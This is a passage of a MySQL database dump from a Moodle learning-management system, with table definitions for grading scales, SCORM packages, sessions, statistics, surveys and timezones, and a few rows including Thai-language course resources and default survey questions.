ปัจจุบัน','','resizable=1,scrollbars=1,directories=1,location=1,menubar=1,toolbar=1,status=1,height=450,width=620','',1473144424),(10,2,'กลยุทธ์การเลือกวารสารนานาชาติเพื่อการตีพิมพ์','file','https://www.youtube.com/watch?v=ddWqIBvJBek','กลยุทธ์การเลือกวารสารนานาชาติเพื่อการตีพิมพ์','','resizable=1,scrollbars=1,directories=1,location=1,menubar=1,toolbar=1,status=1,height=450,width=620','',1473144586);
/*!40000 ALTER TABLE `mdl_resource` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_scale`
--

DROP TABLE IF EXISTS `mdl_scale`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_scale` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `scale` text COLLATE utf8_unicode_ci NOT NULL,
  `description` text COLLATE utf8_unicode_ci NOT NULL,
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `courseid` (`courseid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines grading scales';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_scale`
--

LOCK TABLES `mdl_scale` WRITE;
/*!40000 ALTER TABLE `mdl_scale` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_scale` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_scorm`
--

DROP TABLE IF EXISTS `mdl_scorm`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_scorm` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `reference` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `version` varchar(9) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `maxgrade` float NOT NULL DEFAULT '0',
  `grademethod` tinyint(2) NOT NULL DEFAULT '0',
  `maxattempt` int(10) NOT NULL DEFAULT '1',
  `launch` int(10) unsigned NOT NULL DEFAULT '0',
  `summary` text COLLATE utf8_unicode_ci NOT NULL,
  `hidebrowse` tinyint(1) NOT NULL DEFAULT '0',
  `hidetoc` tinyint(1) NOT NULL DEFAULT '0',
  `hidenav` tinyint(1) NOT NULL DEFAULT '0',
  `auto` tinyint(1) unsigned NOT NULL DEFAULT '0',
  `popup` tinyint(1) unsigned NOT NULL DEFAULT '0',
  `options` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `width` int(10) unsigned NOT NULL DEFAULT '100',
  `height` int(10) unsigned NOT NULL DEFAULT '600',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_scorm`
--

LOCK TABLES `mdl_scorm` WRITE;
/*!40000 ALTER TABLE `mdl_scorm` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_scorm` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_scorm_scoes`
--

DROP TABLE IF EXISTS `mdl_scorm_scoes`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_scorm_scoes` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `scorm` int(10) unsigned NOT NULL DEFAULT '0',
  `manifest` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `organization` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `parent` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `identifier` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `launch` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `parameters` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `scormtype` varchar(5) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `title` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `prerequisites` varchar(200) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `maxtimeallowed` varchar(19) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `timelimitaction` varchar(19) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `datafromlms` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `masteryscore` varchar(200) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `next` tinyint(1) unsigned NOT NULL DEFAULT '0',
  `previous` tinyint(1) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `scorm` (`scorm`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_scorm_scoes`
--

LOCK TABLES `mdl_scorm_scoes` WRITE;
/*!40000 ALTER TABLE `mdl_scorm_scoes` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_scorm_scoes` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_scorm_scoes_track`
--

DROP TABLE IF EXISTS `mdl_scorm_scoes_track`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_scorm_scoes_track` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `scormid` int(10) NOT NULL DEFAULT '0',
  `scoid` int(10) unsigned NOT NULL DEFAULT '0',
  `attempt` int(10) unsigned NOT NULL DEFAULT '1',
  `element` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `value` longtext COLLATE utf8_unicode_ci NOT NULL,
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `track` (`userid`,`scormid`,`scoid`,`attempt`,`element`),
  KEY `userid` (`userid`),
  KEY `scormid` (`scormid`),
  KEY `scoid` (`scoid`),
  KEY `element` (`element`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_scorm_scoes_track`
--

LOCK TABLES `mdl_scorm_scoes_track` WRITE;
/*!40000 ALTER TABLE `mdl_scorm_scoes_track` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_scorm_scoes_track` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_sessions`
--

DROP TABLE IF EXISTS `mdl_sessions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_sessions` (
  `sesskey` char(32) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `expiry` int(11) unsigned NOT NULL DEFAULT '0',
  `expireref` varchar(64) COLLATE utf8_unicode_ci DEFAULT '',
  `data` mediumtext COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`sesskey`),
  KEY `expiry` (`expiry`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Optional database session storage, not used by default';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_sessions`
--

LOCK TABLES `mdl_sessions` WRITE;
/*!40000 ALTER TABLE `mdl_sessions` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_sessions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_stats_daily`
--

DROP TABLE IF EXISTS `mdl_stats_daily`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_stats_daily` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `timeend` int(10) unsigned NOT NULL DEFAULT '0',
  `students` int(10) unsigned NOT NULL DEFAULT '0',
  `teachers` int(10) unsigned NOT NULL DEFAULT '0',
  `activestudents` int(10) unsigned NOT NULL DEFAULT '0',
  `activeteachers` int(10) unsigned NOT NULL DEFAULT '0',
  `studentreads` int(10) unsigned NOT NULL DEFAULT '0',
  `studentwrites` int(10) unsigned NOT NULL DEFAULT '0',
  `teacherreads` int(10) unsigned NOT NULL DEFAULT '0',
  `teacherwrites` int(10) unsigned NOT NULL DEFAULT '0',
  `logins` int(10) unsigned NOT NULL DEFAULT '0',
  `uniquelogins` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `courseid` (`courseid`),
  KEY `timeend` (`timeend`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_stats_daily`
--

LOCK TABLES `mdl_stats_daily` WRITE;
/*!40000 ALTER TABLE `mdl_stats_daily` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_stats_daily` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_stats_monthly`
--

DROP TABLE IF EXISTS `mdl_stats_monthly`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_stats_monthly` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `timeend` int(10) unsigned NOT NULL DEFAULT '0',
  `students` int(10) unsigned NOT NULL DEFAULT '0',
  `teachers` int(10) unsigned NOT NULL DEFAULT '0',
  `activestudents` int(10) unsigned NOT NULL DEFAULT '0',
  `activeteachers` int(10) unsigned NOT NULL DEFAULT '0',
  `studentreads` int(10) unsigned NOT NULL DEFAULT '0',
  `studentwrites` int(10) unsigned NOT NULL DEFAULT '0',
  `teacherreads` int(10) unsigned NOT NULL DEFAULT '0',
  `teacherwrites` int(10) unsigned NOT NULL DEFAULT '0',
  `logins` int(10) unsigned NOT NULL DEFAULT '0',
  `uniquelogins` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `courseid` (`courseid`),
  KEY `timeend` (`timeend`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_stats_monthly`
--

LOCK TABLES `mdl_stats_monthly` WRITE;
/*!40000 ALTER TABLE `mdl_stats_monthly` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_stats_monthly` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_stats_user_daily`
--

DROP TABLE IF EXISTS `mdl_stats_user_daily`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_stats_user_daily` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `roleid` int(10) unsigned NOT NULL DEFAULT '0',
  `timeend` int(10) unsigned NOT NULL DEFAULT '0',
  `statsreads` int(10) unsigned NOT NULL DEFAULT '0',
  `statswrites` int(10) unsigned NOT NULL DEFAULT '0',
  `stattype` varchar(30) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `courseid` (`courseid`),
  KEY `userid` (`userid`),
  KEY `roleid` (`roleid`),
  KEY `timeend` (`timeend`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_stats_user_daily`
--

LOCK TABLES `mdl_stats_user_daily` WRITE;
/*!40000 ALTER TABLE `mdl_stats_user_daily` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_stats_user_daily` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_stats_user_monthly`
--

DROP TABLE IF EXISTS `mdl_stats_user_monthly`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_stats_user_monthly` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `roleid` int(10) unsigned NOT NULL DEFAULT '0',
  `timeend` int(10) unsigned NOT NULL DEFAULT '0',
  `statsreads` int(10) unsigned NOT NULL DEFAULT '0',
  `statswrites` int(10) unsigned NOT NULL DEFAULT '0',
  `stattype` varchar(30) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `courseid` (`courseid`),
  KEY `userid` (`userid`),
  KEY `roleid` (`roleid`),
  KEY `timeend` (`timeend`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_stats_user_monthly`
--

LOCK TABLES `mdl_stats_user_monthly` WRITE;
/*!40000 ALTER TABLE `mdl_stats_user_monthly` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_stats_user_monthly` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_stats_user_weekly`
--

DROP TABLE IF EXISTS `mdl_stats_user_weekly`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_stats_user_weekly` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `roleid` int(10) unsigned NOT NULL DEFAULT '0',
  `timeend` int(10) unsigned NOT NULL DEFAULT '0',
  `statsreads` int(10) unsigned NOT NULL DEFAULT '0',
  `statswrites` int(10) unsigned NOT NULL DEFAULT '0',
  `stattype` varchar(30) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `courseid` (`courseid`),
  KEY `userid` (`userid`),
  KEY `roleid` (`roleid`),
  KEY `timeend` (`timeend`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_stats_user_weekly`
--

LOCK TABLES `mdl_stats_user_weekly` WRITE;
/*!40000 ALTER TABLE `mdl_stats_user_weekly` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_stats_user_weekly` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_stats_weekly`
--

DROP TABLE IF EXISTS `mdl_stats_weekly`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_stats_weekly` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `timeend` int(10) unsigned NOT NULL DEFAULT '0',
  `students` int(10) unsigned NOT NULL DEFAULT '0',
  `teachers` int(10) unsigned NOT NULL DEFAULT '0',
  `activestudents` int(10) unsigned NOT NULL DEFAULT '0',
  `activeteachers` int(10) unsigned NOT NULL DEFAULT '0',
  `studentreads` int(10) unsigned NOT NULL DEFAULT '0',
  `studentwrites` int(10) unsigned NOT NULL DEFAULT '0',
  `teacherreads` int(10) unsigned NOT NULL DEFAULT '0',
  `teacherwrites` int(10) unsigned NOT NULL DEFAULT '0',
  `logins` int(10) unsigned NOT NULL DEFAULT '0',
  `uniquelogins` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `courseid` (`courseid`),
  KEY `timeend` (`timeend`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_stats_weekly`
--

LOCK TABLES `mdl_stats_weekly` WRITE;
/*!40000 ALTER TABLE `mdl_stats_weekly` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_stats_weekly` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_survey`
--

DROP TABLE IF EXISTS `mdl_survey`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_survey` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `template` int(10) unsigned NOT NULL DEFAULT '0',
  `days` smallint(6) NOT NULL DEFAULT '0',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `intro` text COLLATE utf8_unicode_ci NOT NULL,
  `questions` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='all surveys';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_survey`
--

LOCK TABLES `mdl_survey` WRITE;
/*!40000 ALTER TABLE `mdl_survey` DISABLE KEYS */;
INSERT INTO `mdl_survey` VALUES (1,0,0,0,985017600,985017600,'collesaname','collesaintro','25,26,27,28,29,30,43,44'),(2,0,0,0,985017600,985017600,'collespname','collespintro','31,32,33,34,35,36,43,44'),(3,0,0,0,985017600,985017600,'collesapname','collesapintro','37,38,39,40,41,42,43,44'),(4,0,0,0,985017600,985017600,'attlsname','attlsintro','65,67,68'),(5,0,0,0,985017600,985017600,'ciqname','ciqintro','69,70,71,72,73'),(6,3,4,0,1473146394,1473146403,'แบบสำรวจความพึงพอใจ','แบบสอบถามนี้มีจุดประสงค์เพื่อช่วยในการประเมินทัศนคติต่อการคิด และการเรียน\r\n\r\nไม่มีคำตอบที่ ','65,67,68');
/*!40000 ALTER TABLE `mdl_survey` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_survey_analysis`
--

DROP TABLE IF EXISTS `mdl_survey_analysis`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_survey_analysis` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `survey` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `notes` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `survey` (`survey`),
  KEY `userid` (`userid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_survey_analysis`
--

LOCK TABLES `mdl_survey_analysis` WRITE;
/*!40000 ALTER TABLE `mdl_survey_analysis` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_survey_analysis` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_survey_answers`
--

DROP TABLE IF EXISTS `mdl_survey_answers`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_survey_answers` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `survey` int(10) unsigned NOT NULL DEFAULT '0',
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `time` int(10) unsigned NOT NULL DEFAULT '0',
  `answer1` text COLLATE utf8_unicode_ci NOT NULL,
  `answer2` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `userid` (`userid`),
  KEY `survey` (`survey`),
  KEY `question` (`question`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_survey_answers`
--

LOCK TABLES `mdl_survey_answers` WRITE;
/*!40000 ALTER TABLE `mdl_survey_answers` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_survey_answers` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_survey_questions`
--

DROP TABLE IF EXISTS `mdl_survey_questions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_survey_questions` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `text` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `shorttext` varchar(30) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `multi` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `intro` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `type` tinyint(3) NOT NULL DEFAULT '0',
  `options` text COLLATE utf8_unicode_ci,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=74 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_survey_questions`
--

LOCK TABLES `mdl_survey_questions` WRITE;
/*!40000 ALTER TABLE `mdl_survey_questions` DISABLE KEYS */;
INSERT INTO `mdl_survey_questions` VALUES (1,'colles1','colles1short','','',1,'scaletimes5'),(2,'colles2','colles2short','','',1,'scaletimes5'),(3,'colles3','colles3short','','',1,'scaletimes5'),(4,'colles4','colles4short','','',1,'scaletimes5'),(5,'colles5','colles5short','','',1,'scaletimes5'),(6,'colles6','colles6short','','',1,'scaletimes5'),(7,'colles7','colles7short','','',1,'scaletimes5'),(8,'colles8','colles8short','','',1,'scaletimes5'),(9,'colles9','colles9short','','',1,'scaletimes5'),(10,'colles10','colles10short','','',1,'scaletimes5'),(11,'colles11','colles11short','','',1,'scaletimes5'),(12,'colles12','colles12short','','',1,'scaletimes5'),(13,'colles13','colles13short','','',1,'scaletimes5'),(14,'colles14','colles14short','','',1,'scaletimes5'),(15,'colles15','colles15short','','',1,'scaletimes5'),(16,'colles16','colles16short','','',1,'scaletimes5'),(17,'colles17','colles17short','','',1,'scaletimes5'),(18,'colles18','colles18short','','',1,'scaletimes5'),(19,'colles19','colles19short','','',1,'scaletimes5'),(20,'colles20','colles20short','','',1,'scaletimes5'),(21,'colles21','colles21short','','',1,'scaletimes5'),(22,'colles22','colles22short','','',1,'scaletimes5'),(23,'colles23','colles23short','','',1,'scaletimes5'),(24,'colles24','colles24short','','',1,'scaletimes5'),(25,'collesm1','collesm1short','1,2,3,4','collesmintro',1,'scaletimes5'),(26,'collesm2','collesm2short','5,6,7,8','collesmintro',1,'scaletimes5'),(27,'collesm3','collesm3short','9,10,11,12','collesmintro',1,'scaletimes5'),(28,'collesm4','collesm4short','13,14,15,16','collesmintro',1,'scaletimes5'),(29,'collesm5','collesm5short','17,18,19,20','collesmintro',1,'scaletimes5'),(30,'collesm6','collesm6short','21,22,23,24','collesmintro',1,'scaletimes5'),(31,'collesm1','collesm1short','1,2,3,4','collesmintro',2,'scaletimes5'),(32,'collesm2','collesm2short','5,6,7,8','collesmintro',2,'scaletimes5'),(33,'collesm3','collesm3short','9,10,11,12','collesmintro',2,'scaletimes5'),(34,'collesm4','collesm4short','13,14,15,16','collesmintro',2,'scaletimes5'),(35,'collesm5','collesm5short','17,18,19,20','collesmintro',2,'scaletimes5'),(36,'collesm6','collesm6short','21,22,23,24','collesmintro',2,'scaletimes5'),(37,'collesm1','collesm1short','1,2,3,4','collesmintro',3,'scaletimes5'),(38,'collesm2','collesm2short','5,6,7,8','collesmintro',3,'scaletimes5'),(39,'collesm3','collesm3short','9,10,11,12','collesmintro',3,'scaletimes5'),(40,'collesm4','collesm4short','13,14,15,16','collesmintro',3,'scaletimes5'),(41,'collesm5','collesm5short','17,18,19,20','collesmintro',3,'scaletimes5'),(42,'collesm6','collesm6short','21,22,23,24','collesmintro',3,'scaletimes5'),(43,'howlong','','','',1,'howlongoptions'),(44,'othercomments','','','',0,''),(64,'attls20','attls20short','','',1,'scaleagree5'),(58,'attls14','attls14short','','',1,'scaleagree5'),(59,'attls15','attls15short','','',1,'scaleagree5'),(60,'attls16','attls16short','','',1,'scaleagree5'),(61,'attls17','attls17short','','',1,'scaleagree5'),(62,'attls18','attls18short','','',1,'scaleagree5'),(63,'attls19','attls19short','','',1,'scaleagree5'),(56,'attls12','attls12short','','',1,'scaleagree5'),(57,'attls13','attls13short','','',1,'scaleagree5'),(55,'attls11','attls11short','','',1,'scaleagree5'),(54,'attls10','attls10short','','',1,'scaleagree5'),(53,'attls9','attls9short','','',1,'scaleagree5'),(52,'attls8','attls8short','','',1,'scaleagree5'),(51,'attls7','attls7short','','',1,'scaleagree5'),(50,'attls6','attls6short','','',1,'scaleagree5'),(49,'attls5','attls5short','','',1,'scaleagree5'),(48,'attls4','attls4short','','',1,'scaleagree5'),(47,'attls3','attls3short','','',1,'scaleagree5'),(45,'attls1','attls1short','','',1,'scaleagree5'),(46,'attls2','attls2short','','',1,'scaleagree5'),(65,'attlsm1','attlsm1','45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64','attlsmintro',1,'scaleagree5'),(67,'attlsm2','attlsm2','63,62,59,57,55,49,52,50,48,47','attlsmintro',-1,'scaleagree5'),(68,'attlsm3','attlsm3','46,54,45,51,60,53,56,58,61,64','attlsmintro',-1,'scaleagree5'),(69,'ciq1','ciq1short','','',0,''),(70,'ciq2','ciq2short','','',0,''),(71,'ciq3','ciq3short','','',0,''),(72,'ciq4','ciq4short','','',0,''),(73,'ciq5','ciq5short','','',0,'');
/*!40000 ALTER TABLE `mdl_survey_questions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_tags`
--

DROP TABLE IF EXISTS `mdl_tags`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_tags` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `type` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'official',
  `userid` int(10) NOT NULL DEFAULT '0',
  `text` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `tags_typeuserid_idx` (`type`,`userid`),
  KEY `tags_text_idx` (`text`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='tags structure for moodle.';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_tags`
--

LOCK TABLES `mdl_tags` WRITE;
/*!40000 ALTER TABLE `mdl_tags` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_tags` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_timezone`
--

DROP TABLE IF EXISTS `mdl_timezone`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_timezone` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `year` int(11) NOT NULL DEFAULT '0',
  `rule` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `gmtoff` int(11) NOT NULL DEFAULT '0',
  `dstoff` int(11) NOT NULL DEFAULT '0',
  `dst_month` tinyint(2) NOT NULL DEFAULT '0',
  `dst_startday` tinyint(3) NOT NULL DEFAULT '0',
  `dst_weekday` tinyint(3) NOT NULL DEFAULT '0',
  `dst_skipweeks` tinyint(3) NOT NULL DEFAULT '0',
  `dst_time` varchar(5) COLLATE utf8_unicode_ci NOT NULL DEFAULT '00:00',
  `std_month` tinyint(2) NOT NULL DEFAULT '0',
  `std_startday` tinyint(3) NOT NULL DEFAULT '0',
  `std_weekday` tinyint(3) NOT NULL DEFAULT '0',
  `std_skipweeks` tinyint(3) NOT NULL DEFAULT '0',
  `std_time` varchar(5) COLLATE utf8_unicode_ci NOT NULL DEFAULT '00:00',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Rules for calculating local wall clock time for users';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_timezone`
--

LOCK TABLES `mdl_timezone` WRITE;
/*!40000 ALTER TABLE `mdl_timezone` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_timezone` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_user`
--

DROP TABLE IF EXISTS `mdl_user`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_user` (
